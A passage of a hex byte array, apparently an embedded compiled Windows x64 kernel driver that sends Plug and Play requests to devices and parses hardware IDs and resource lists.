0x85, 0xc0, 0x74, 0x7d, 0x41, 0x8b, 0x00, 0x48, 0x89, 0x5c, 0x24, 0x38, 0xbb, 0x04, 0x80, 0x6a, 0xc8, 0x85, 0xc0, 0x74, 0x5b, 0x48, 0x8b, 0xd0, 0x45, 0x33, 0xc0, 0x49, 0x8b, 0xc9, 0x48, 0x89, 0x74, 0x24, 0x40, 0xff, 0x15, 0x9e, 0x36, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xa7, 0x25, 0x00, 0x00, 0x48, 0x8b, 0xd0, 0x48, 0x8b, 0xf0, 0xe8, 0x6c, 0xf4, 0xff, 0xff, 0x48, 0x85, 0xf6, 0x74, 0x1a, 0x48, 0x8d, 0x0d, 0x50, 0x25, 0x00, 0x00, 0x48, 0x8b, 0xd6, 0x48, 0x89, 0x37, 0xe8, 0x55, 0xf4, 0xff, 0xff, 0x33, 0xc0, 0x48, 0x39, 0x07, 0x0f, 0x45, 0xd8, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x8b, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x38, 0x48, 0x8b, 0x7c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0x8b, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x38, 0x48, 0x8b, 0x7c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x7c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x83, 0xec, 0x78, 0x48, 0x89, 0x58, 0x18, 0x48, 0x8b, 0xda, 0x33, 0xd2, 0x48, 0x89, 0x78, 0x20, 0x48, 0x8b, 0xf9, 0x44, 0x8d, 0x42, 0x40, 0x48, 0x8b, 0xcb, 0xe8, 0x6d, 0x1a, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x50, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x66, 0xc7, 0x03, 0x40, 0x00, 0x66, 0xc7, 0x43, 0x02, 0x01, 0x00, 0xc7, 0x43, 0x08, 0xff, 0xff, 0xff, 0xff, 0xc7, 0x43, 0x0c, 0xff, 0xff, 0xff, 0xff, 0xff, 0x15, 0x7c, 0x35, 0x00, 0x00, 0x45, 0x33, 0xc9, 0x4c, 0x8d, 0x5c, 0x24, 0x40, 0x48, 0x8d, 0x44, 0x24, 0x50, 0x4c, 0x89, 0x5c, 0x24, 0x30, 0x48, 0x89, 0x44, 0x24, 0x28, 0x41, 0x8d, 0x49, 0x1b, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd7, 0x48, 0xc7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0xff, 0x15, 0x44, 0x35, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x4f, 0x48, 0x8b, 0x88, 0xb8, 0x00, 0x00, 0x00, 0xc7, 0x40, 0x30, 0xbb, 0x00, 0x00, 0xc0, 0x48, 0x8b, 0xd0, 0xc6, 0x41, 0xb8, 0x1b, 0xc6, 0x41, 0xb9, 0x09, 0x48, 0x89, 0x59, 0xc0, 0x48, 0x8b, 0xcf, 0xff, 0x15, 0x11, 0x35, 0x00, 0x00, 0x3d, 0x03, 0x01, 0x00, 0x00, 0x75, 0x1c, 0x48, 0x8d, 0x4c, 0x24, 0x50, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x48, 0xc7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0xff, 0x15, 0xe6, 0x34, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x40, 0xeb, 0x05, 0xb8, 0x9a, 0x00, 0x00, 0xc0, 0x48, 0x8b, 0xbc, 0x24, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x9c, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x78, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x81, 0xec, 0x98, 0x00, 0x00, 0x00, 0x48, 0x89, 0x58, 0xf8, 0x48, 0x89, 0x68, 0xf0, 0x48, 0x89, 0x70, 0xe8, 0x48, 0x8b, 0xd9, 0x41, 0x0f, 0xb6, 0xf0, 0x48, 0x8b, 0xea, 0x48, 0x89, 0x78, 0xe0, 0x48, 0x8d, 0x48, 0xc0, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x41, 0x8b, 0xf9, 0xff, 0x15, 0xa2, 0x34, 0x00, 0x00, 0x45, 0x33, 0xc9, 0x4c, 0x8d, 0x5c, 0x24, 0x48, 0x4c, 0x89, 0x5c, 0x24, 0x30, 0x48, 0x8d, 0x44, 0x24, 0x58, 0x41, 0x8d, 0x49, 0x1b, 0x48, 0x89, 0x44, 0x24, 0x28, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd3, 0x48, 0xc7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0xff, 0x15, 0x6a, 0x34, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x68, 0x48, 0x8b, 0x90, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xea, 0x48, 0x74, 0x5b, 0x8b, 0x8c, 0x24, 0xc0, 0x00, 0x00, 0x00, 0xc7, 0x40, 0x30, 0xbb, 0x00, 0x00, 0xc0, 0xc6, 0x02, 0x1b, 0x89, 0x4a, 0x20, 0x40, 0x88, 0x72, 0x01, 0x48, 0x89, 0x6a, 0x10, 0xc7, 0x42, 0x08, 0x00, 0x00, 0x00, 0x00, 0x89, 0x7a, 0x18, 0x48, 0x8b, 0xcb, 0x48, 0x8b, 0xd0, 0xff, 0x15, 0x1e, 0x34, 0x00, 0x00, 0x3d, 0x03, 0x01, 0x00, 0x00, 0x75, 0x26, 0x48, 0x8d, 0x4c, 0x24, 0x58, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x48, 0xc7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0xff, 0x15, 0xf3, 0x33, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x48, 0xeb, 0x04, 0x8b, 0x44, 0x24, 0x40, 0x48, 0x8b, 0x7c, 0x24, 0x78, 0x48, 0x8b, 0xb4, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xac, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x9c, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x98, 0x00, 0x00, 0x00, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4c, 0x8b, 0xdc, 0x48, 0x81, 0xec, 0x18, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x05, 0xf7, 0x43, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xe0, 0x01, 0x00, 0x00, 0x49, 0x89, 0x5b, 0x10, 0x49, 0x89, 0x6b, 0x18, 0x49, 0x89, 0x7b, 0xf8, 0x48, 0x8b, 0x79, 0x38, 0x4d, 0x89, 0x63, 0xf0, 0x48, 0x8b, 0xd9, 0x4d, 0x89, 0x73, 0xe0, 0x45, 0x33, 0xf6, 0x49, 0x8d, 0x8b, 0x88, 0xfe, 0xff, 0xff, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x40, 0x32, 0xed, 0x45, 0x8b, 0xe6, 0x45, 0x89, 0xb3, 0xd8, 0xfe, 0xff, 0xff, 0xff, 0x15, 0x72, 0x33, 0x00, 0x00, 0x4c, 0x8d, 0x9c, 0x24, 0xc8, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x84, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x41, 0x8d, 0x4e, 0x1b, 0x4c, 0x89, 0x5c, 0x24, 0x30, 0x48, 0x89, 0x44, 0x24, 0x28, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd7, 0x4c, 0x89, 0x74, 0x24, 0x20, 0xff, 0x15, 0x38, 0x33, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x64, 0x48, 0x8b, 0x90, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xea, 0x48, 0x74, 0x57, 0xc7, 0x40, 0x30, 0xbb, 0x00, 0x00, 0xc0, 0x48, 0x8d, 0x8c, 0x24, 0xe0, 0x00, 0x00, 0x00, 0xc6, 0x02, 0x1b, 0x48, 0x89, 0x4a, 0x10, 0xc6, 0x42, 0x01, 0x0f, 0xc7, 0x42, 0x20, 0x40, 0x00, 0x00, 0x00, 0x44, 0x89, 0x72, 0x08, 0x44, 0x89, 0x72, 0x18, 0x48, 0x8b, 0xcf, 0x48, 0x8b, 0xd0, 0xff, 0x15, 0xe9, 0x32, 0x00, 0x00, 0x3d, 0x03, 0x01, 0x00, 0x00, 0x75, 0x1b, 0x48, 0x8d, 0x8c, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x4c, 0x89, 0x74, 0x24, 0x20, 0xff, 0x15, 0xbf, 0x32, 0x00, 0x00, 0x48, 0x8d, 0x15, 0x98, 0x22, 0x00, 0x00, 0x48, 0x8d, 0x8c, 0x24, 0xb8, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xac, 0x24, 0x00, 0x02, 0x00, 0x00, 0xff, 0x15, 0x92, 0x32, 0x00, 0x00, 0x48, 0x8d, 0x84, 0x24, 0xb8, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x44, 0x24, 0x60, 0x48, 0x8d, 0x4c, 0x24, 0x48, 0xba, 0x19, 0x00, 0x02, 0x00, 0x48, 0x89, 0x44, 0x24, 0x70, 0xc7, 0x44, 0x24, 0x60, 0x30, 0x00, 0x00, 0x00, 0x4c, 0x89, 0x74, 0x24, 0x68, 0xc7, 0x44, 0x24, 0x78, 0x40, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xb4, 0x24, 0x80, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xb4, 0x24, 0x88, 0x00, 0x00, 0x00, 0xff, 0x15, 0xa3, 0x32, 0x00, 0x00, 0x85, 0xc0, 0x44, 0x8b, 0xe8, 0x0f, 0x88, 0xc7, 0x01, 0x00, 0x00, 0x4c, 0x89, 0xbc, 0x24, 0xf0, 0x01, 0x00, 0x00, 0x41, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0xb4, 0x24, 0x38, 0x02, 0x00, 0x00, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x48, 0x8b, 0x4c, 0x24, 0x48, 0x48, 0x8d, 0x44, 0x24, 0x40, 0x45, 0x33, 0xc9, 0x48, 0x89, 0x44, 0x24, 0x28, 0x45, 0x8b, 0xc7, 0x41, 0x8b, 0xd4, 0x44, 0x89, 0x74, 0x24, 0x20, 0x40, 0x32, 0xff, 0xff, 0x15, 0x4a, 0x32, 0x00, 0x00, 0x8b, 0x54, 0x24, 0x40, 0x41, 0xb8, 0x44, 0x64, 0x6b, 0x20, 0x41, 0x8b, 0xcf, 0x48, 0x83, 0xc2, 0x08, 0xff, 0x15, 0x73, 0x31, 0x00, 0x00, 0x8b, 0x4c, 0x24, 0x40, 0x45, 0x8b, 0xc7, 0x48, 0x8b, 0xf0, 0x48, 0x8d, 0x44, 0x24, 0x40, 0x41, 0x8b, 0xd4, 0x48, 0x89, 0x44, 0x24, 0x28, 0x89, 0x4c, 0x24, 0x20, 0x48, 0x8b, 0x4c, 0x24, 0x48, 0x4c, 0x8b, 0xce, 0xff, 0x15, 0x0a, 0x32, 0x00, 0x00, 0x85, 0xc0, 0x44, 0x8b, 0xe8, 0x79, 0x09, 0x41, 0x0f, 0xb6, 0xef, 0xe9, 0x08, 0x01, 0x00, 0x00, 0x40, 0x84, 0xed, 0x0f, 0x85, 0xff, 0x00, 0x00, 0x00, 0x83, 0x7e, 0x04, 0x08, 0x0f, 0x85, 0xf5, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x56, 0x14, 0x48, 0x8d, 0x8c, 0x24, 0x90, 0x00, 0x00, 0x00, 0xff, 0x15, 0x85, 0x31, 0x00, 0x00, 0x48, 0x8d, 0x94, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x50, 0x45, 0x0f, 0xb6, 0xc7, 0xff, 0x15, 0xb6, 0x31, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0x48, 0x8d, 0x15, 0x42, 0x21, 0x00, 0x00, 0xff, 0x15, 0x9c, 0x31, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xa3, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0x48, 0x8d, 0x15, 0x17, 0x21, 0x00, 0x00, 0xff, 0x15, 0x81, 0x31, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x88, 0x00, 0x00, 0x00, 0x44, 0x8b, 0x46, 0x08, 0x4c, 0x03, 0xc6, 0x41, 0x83, 0x78, 0x04, 0x05, 0x75, 0x7a, 0x45, 0x8b, 0x50, 0x10, 0x45, 0x85, 0xd2, 0x74, 0x71, 0x44, 0x8b, 0x8c, 0x24, 0xf0, 0x00, 0x00, 0x00, 0x49, 0x8d, 0x48, 0x14, 0x49, 0x8b, 0xd2, 0x66, 0x90, 0x80, 0x39, 0x03, 0x75, 0x14, 0x44, 0x39, 0x49, 0x04, 0x75, 0x0e, 0x40, 0x0f, 0xb6, 0xc7, 0x40, 0x84, 0xff, 0x41, 0x0f, 0x44, 0xc7, 0x0f, 0xb6, 0xf8, 0x48, 0x83, 0xc1, 0x14, 0x48, 0xff, 0xca, 0x75, 0xde, 0x41, 0x3a, 0xff, 0x75, 0x39, 0x45, 0x85, 0xd2, 0x41, 0x8b, 0xd6, 0x74, 0x2e, 0x49, 0x8d, 0x48, 0x18, 0x80, 0x79, 0xfc, 0x02, 0x75, 0x18, 0x8b, 0x41, 0x04, 0x89, 0x43, 0x0c, 0x0f, 0xb6, 0x01, 0x88, 0x43, 0x08, 0x48, 0x8b, 0x41, 0x08, 0x44, 0x89, 0x73, 0x18, 0x48, 0x89, 0x43, 0x10, 0xff, 0xc2, 0x48, 0x83, 0xc1, 0x14, 0x41, 0x3b, 0x50, 0x10, 0x72, 0xd6, 0x41, 0x8a, 0xef, 0x48, 0x8d, 0x4c, 0x24, 0x50, 0xff, 0x15, 0xdd, 0x30, 0x00, 0x00, 0x41, 0xff, 0xc4, 0x48, 0x85, 0xf6, 0x74, 0x0b, 0x33, 0xd2, 0x48, 0x8b, 0xce, 0xff, 0x15, 0x2a, 0x30, 0x00, 0x00, 0x40, 0x84, 0xed, 0x0f, 0x84, 0x69, 0xfe, 0xff, 0xff, 0x4c, 0x8b, 0xbc, 0x24, 0xf0, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xb4, 0x24, 0x38, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x48, 0x4c, 0x8b, 0xb4, 0x24, 0xf8, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xa4, 0x24, 0x08, 0x02, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x48, 0x8b, 0xbc, 0x24, 0x10, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xac, 0x24, 0x30, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x9c, 0x24, 0x28, 0x02, 0x00, 0x00, 0x74, 0x06, 0xff, 0x15, 0x71, 0x30, 0x00, 0x00, 0x41, 0x8b, 0xc5, 0x4c, 0x8b, 0xac, 0x24, 0x00, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x8c, 0x24, 0xe0, 0x01, 0x00, 0x00, 0xe8, 0x29, 0x16, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x18, 0x02, 0x00, 0x00, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x33, 0xc0, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4c, 0x8b, 0xdc, 0x48, 0x81, 0xec, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x05, 0x57, 0x40, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x49, 0x89, 0x5b, 0x18, 0x48, 0x8b, 0x59, 0x38, 0x49, 0x89, 0x7b, 0x20, 0x48, 0x8b, 0xf9, 0x49, 0x8d, 0x4b, 0xb8, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x89, 0x44, 0x24, 0x68, 0x89, 0x44, 0x24, 0x6c, 0x89, 0x44, 0x24, 0x70, 0x89, 0x44, 0x24, 0x74, 0x89, 0x44, 0x24, 0x78, 0x89, 0x44, 0x24, 0x7c, 0xff, 0x15, 0xd7, 0x2f, 0x00, 0x00, 0x45, 0x33, 0xc9, 0x4c, 0x8d, 0x5c, 0x24, 0x40, 0x48, 0x8d, 0x44, 0x24, 0x50, 0x4c, 0x89, 0x5c, 0x24, 0x30, 0x48, 0x89, 0x44, 0x24, 0x28, 0x41, 0x8d, 0x49, 0x1b, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd3, 0x48, 0xc7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0xff, 0x15, 0x9f, 0x2f, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x6a, 0x48, 0x8b, 0x90, 0xb8, 0x00, 0x00, 0x00, 0xc7, 0x40, 0x30, 0xbb, 0x00, 0x00, 0xc0, 0x48, 0x8b, 0xcb, 0xc6, 0x42, 0xb8, 0x1b, 0xc6, 0x42, 0xb9, 0x15, 0x48, 0x8b, 0xd0, 0xff, 0x15, 0x70, 0x2f, 0x00, 0x00, 0x3d, 0x03, 0x01, 0x00, 0x00, 0x75, 0x22, 0x48, 0x8d, 0x4c, 0x24, 0x50, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x48, 0xc7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0xff, 0x15, 0x45, 0x2f, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x40, 0xeb, 0x07, 0x85, 0xc0, 0x0f, 0x44, 0x44, 0x24, 0x40, 0x85, 0xc0, 0x78, 0x14, 0x48, 0x8b, 0x4c, 0x24, 0x48, 0x33, 0xd2, 0x8b, 0x41, 0x14, 0x89, 0x44, 0x24, 0x7c, 0xff, 0x15, 0xa8, 0x2e, 0x00, 0x00, 0xba, 0x40, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x44, 0x64, 0x6b, 0x20, 0x8d, 0x4a, 0xc1, 0xff, 0x15, 0x8c, 0x2e, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x48, 0x8b, 0xd8, 0x74, 0x64, 0x33, 0xc0, 0x48, 0x8b, 0xd3, 0x48, 0x89, 0x03, 0x48, 0x89, 0x43, 0x08, 0x48, 0x89, 0x43, 0x10, 0x48, 0x89, 0x43, 0x18, 0x48, 0x89, 0x43, 0x20, 0x48, 0x89, 0x43, 0x28, 0x48, 0x89, 0x43, 0x30, 0x48, 0x89, 0x43, 0x38, 0x48, 0x8b, 0x4f, 0x38, 0xe8, 0x27, 0xf9, 0xff, 0xff, 0x44, 0x0f, 0xb6, 0x5c, 0x24, 0x7c, 0x33, 0xd2, 0x44, 0x88, 0x1f, 0x8b, 0x43, 0x08, 0xc1, 0xe8, 0x08, 0x33, 0x07, 0x25, 0x00, 0x1f, 0x00, 0x00, 0x31, 0x07, 0x8b, 0x4b, 0x08, 0x8b, 0x07, 0xc1, 0xe1, 0x0d, 0x33, 0xc8, 0x81, 0xe1, 0x00, 0xe0, 0x00, 0x00, 0x33, 0xc8, 0x89, 0x0f, 0x48, 0x8b, 0xcb, 0xff, 0x15, 0x28, 0x2e, 0x00, 0x00, 0x48, 0x8b, 0xbc, 0x24, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x9c, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x48, 0x8b, 0x8c, 0x24, 0x80, 0x00, 0x00, 0x00, 0xe8, 0x71, 0x14, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x98, 0x00, 0x00, 0x00, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4c, 0x8b, 0xdc, 0x48, 0x81, 0xec, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x05, 0xb7, 0x3e, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x58, 0x4d, 0x89, 0x6b, 0xe8, 0x4d, 0x89, 0x73, 0xe0, 0x45, 0x33, 0xf6, 0x4c, 0x8b, 0xe9, 0x4d, 0x8d, 0x4b, 0xa0, 0x45, 0x8d, 0x46, 0x01, 0x49, 0x8d, 0x4b, 0xc0, 0x33, 0xd2, 0xc7, 0x44, 0x24, 0x48, 0x44, 0x89, 0x49, 0xad, 0x66, 0xc7, 0x44, 0x24, 0x4c, 0x2f, 0x76, 0x66, 0xc7, 0x44, 0x24, 0x4e, 0xd0, 0x11, 0xc6, 0x44, 0x24, 0x50, 0x8d, 0xc6, 0x44, 0x24, 0x51, 0xcb, 0xc6, 0x44, 0x24, 0x52, 0x00, 0xc6, 0x44, 0x24, 0x53, 0xc0, 0xc6, 0x44, 0x24, 0x54, 0x4f, 0xc6, 0x44, 0x24, 0x55, 0xc3, 0xc6, 0x44, 0x24, 0x56, 0x35, 0xc6, 0x44, 0x24, 0x57, 0x8c, 0x4d, 0x89, 0x73, 0x98, 0x4d, 0x89, 0x73, 0xa8, 0x4d, 0x89, 0x73, 0xa0, 0xff, 0x15, 0x4e, 0x2e, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x88, 0xdd, 0x01, 0x00, 0x00, 0x48, 0x89, 0x9c, 0x24, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x28, 0x48, 0x8d, 0x4c, 0x24, 0x38, 0x48, 0x8b, 0xd3, 0xff, 0x15, 0xbb, 0x2d, 0x00, 0x00, 0x44, 0x0f, 0xb7, 0x5c, 0x24, 0x38, 0x66, 0x45, 0x85, 0xdb, 0x0f, 0x84, 0x9d, 0x01, 0x00, 0x00, 0x48, 0x89, 0xac, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x48, 0x89, 0xb4, 0x24, 0xa8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xbc, 0x24, 0x80, 0x00, 0x00, 0x00, 0x4c, 0x89, 0x64, 0x24, 0x78, 0x66, 0x41, 0x83, 0xfb, 0x04, 0x0f, 0x86, 0x2e, 0x01, 0x00, 0x00, 0x41, 0x0f, 0xb7, 0xd3, 0x66, 0x33, 0xc9, 0x83, 0xea, 0x04, 0x85, 0xd2, 0x0f, 0x8e, 0x1c, 0x01, 0x00, 0x00, 0x90, 0x66, 0x83, 0xf9, 0x14, 0x0f, 0x83, 0x11, 0x01, 0x00, 0x00, 0x0f, 0xb7, 0xc1, 0x66, 0x83, 0x3c, 0x43, 0x56, 0x75, 0x18, 0x66, 0x83, 0x7c, 0x43, 0x02, 0x45, 0x75, 0x10, 0x66, 0x83, 0x7c, 0x43, 0x04, 0x4e, 0x75, 0x08, 0x66, 0x83, 0x7c, 0x43, 0x06, 0x5f, 0x74, 0x0f, 0x66, 0xff, 0xc1, 0x0f, 0xb7, 0xc1, 0x3b, 0xc2, 0x7c, 0xca, 0xe9, 0xe0, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x4c, 0x24, 0x30, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x48, 0x8d, 0x4c, 0x24, 0x38, 0xba, 0xff, 0x01, 0x1f, 0x00, 0xff, 0x15, 0x83, 0x2d, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x88, 0xb4, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x6c, 0x24, 0x20, 0x49, 0x8b, 0x7d, 0x00, 0x48, 0x85, 0xff, 0x4c, 0x8b, 0x65, 0x08, 0x75, 0x25, 0xba, 0x50, 0x02, 0x00, 0x00, 0x33, 0xc9, 0x41, 0xb8, 0x44, 0x64, 0x6b, 0x20, 0xff, 0x15, 0x7e, 0x2c, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x48, 0x8b, 0xf0, 0x0f, 0x84, 0x83, 0x00, 0x00, 0x00, 0x49, 0x89, 0x45, 0x00, 0xeb, 0x42, 0xba, 0x50, 0x02, 0x00, 0x00, 0x33, 0xc9, 0x41, 0xb8, 0x44, 0x64, 0x6b, 0x20, 0xff, 0x15, 0x59, 0x2c, 0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x8d, 0x87, 0x48, 0x02, 0x00, 0x00, 0x4c, 0x39, 0x30, 0x74, 0x19, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x48, 0x8b, 0x38, 0x48, 0x8d, 0x87, 0x48, 0x02, 0x00, 0x00, 0x4c, 0x39, 0x30, 0x75, 0xf1, 0x48, 0x89, 0xb7, 0x48, 0x02, 0x00, 0x00, 0x48, 0x85, 0xf6, 0x74, 0x36, 0x48, 0x8b, 0xce, 0x4c, 0x89, 0x66, 0x38, 0x48, 0x89, 0x6e, 0x30, 0x4c, 0x89, 0xb6, 0x48, 0x02, 0x00, 0x00, 0xe8, 0x7e, 0xfc, 0xff, 0xff, 0x41, 0xff, 0x45, 0x08, 0x48, 0x8b, 0xce, 0xe8, 0xd2, 0xf8, 0xff, 0xff, 0x48, 0x8d, 0x4e, 0x40, 0x41, 0xb8, 0x03, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xd3, 0xff, 0x15, 0xbf, 0x2c, 0x00, 0x00, 0x4c, 0x89, 0x74, 0x24, 0x20, 0x4c, 0x89, 0x74, 0x24, 0x30, 0x0f, 0xb7, 0x44, 0x24, 0x3a, 0x48, 0x8d, 0x4c, 0x24, 0x38, 0x48, 0xd1, 0xe8, 0x48, 0x8d, 0x1c, 0x43, 0x48, 0x8b, 0xd3, 0xff, 0x15, 0x3b, 0x2c, 0x00, 0x00, 0x66, 0x44, 0x8b, 0x5c, 0x24, 0x38, 0x66, 0x45, 0x85, 0xdb, 0x0f, 0x85, 0x9d, 0xfe, 0xff, 0xff, 0x4c, 0x8b, 0x64, 0x24, 0x78, 0x48, 0x8b, 0xbc, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xb4, 0x24, 0xa8, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xac, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x33, 0xd2, 0xff, 0x15, 0x99, 0x2b, 0x00, 0x00, 0x48, 0x8b, 0x9c, 0x24, 0x98, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x74, 0x24, 0x68, 0x4c, 0x8b, 0x6c, 0x24, 0x70, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0xe8, 0xe5, 0x11, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x88, 0x00, 0x00, 0x00, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x83, 0xec, 0x38, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x8b, 0xe9, 0x33, 0xf6, 0x48, 0x8d, 0x48, 0xe8, 0x48, 0x89, 0x78, 0x20, 0x48, 0x89, 0x70, 0xe8, 0x89, 0x70, 0xf0, 0xe8, 0x44, 0xfd, 0xff, 0xff, 0x48, 0x85, 0xed, 0x48, 0x8b, 0x7c, 0x24, 0x20, 0x48, 0x8b, 0xdf, 0x74, 0x71, 0x8b, 0x45, 0x00, 0x48, 0x8d, 0x0d, 0xfd, 0x1b, 0x00, 0x00, 0x44, 0x8b, 0xc8, 0x44, 0x8b, 0xc0, 0x0f, 0xb6, 0xd0, 0x41, 0xc1, 0xe9, 0x0d, 0x41, 0xc1, 0xe8, 0x08, 0x41, 0x83, 0xe1, 0x07, 0x41, 0x83, 0xe0, 0x1f, 0xe8, 0xdf, 0xe9, 0xff, 0xff, 0x44, 0x8b, 0x44, 0x24, 0x28, 0x44, 0x8b, 0xde, 0x45, 0x85, 0xc0, 0x74, 0x3c, 0x66, 0x90, 0x48, 0x85, 0xdb, 0x74, 0x35, 0x8b, 0x0b, 0x8b, 0x55, 0x00, 0x8b, 0xc1, 0x33, 0xc2, 0x84, 0xc0, 0x75, 0x19, 0x8b, 0xc1, 0x33, 0xc2, 0xa9, 0x00, 0x1f, 0x00, 0x00, 0x75, 0x0e, 0x33, 0xca, 0xf7, 0xc1, 0x00, 0xe0, 0x00, 0x00, 0x75, 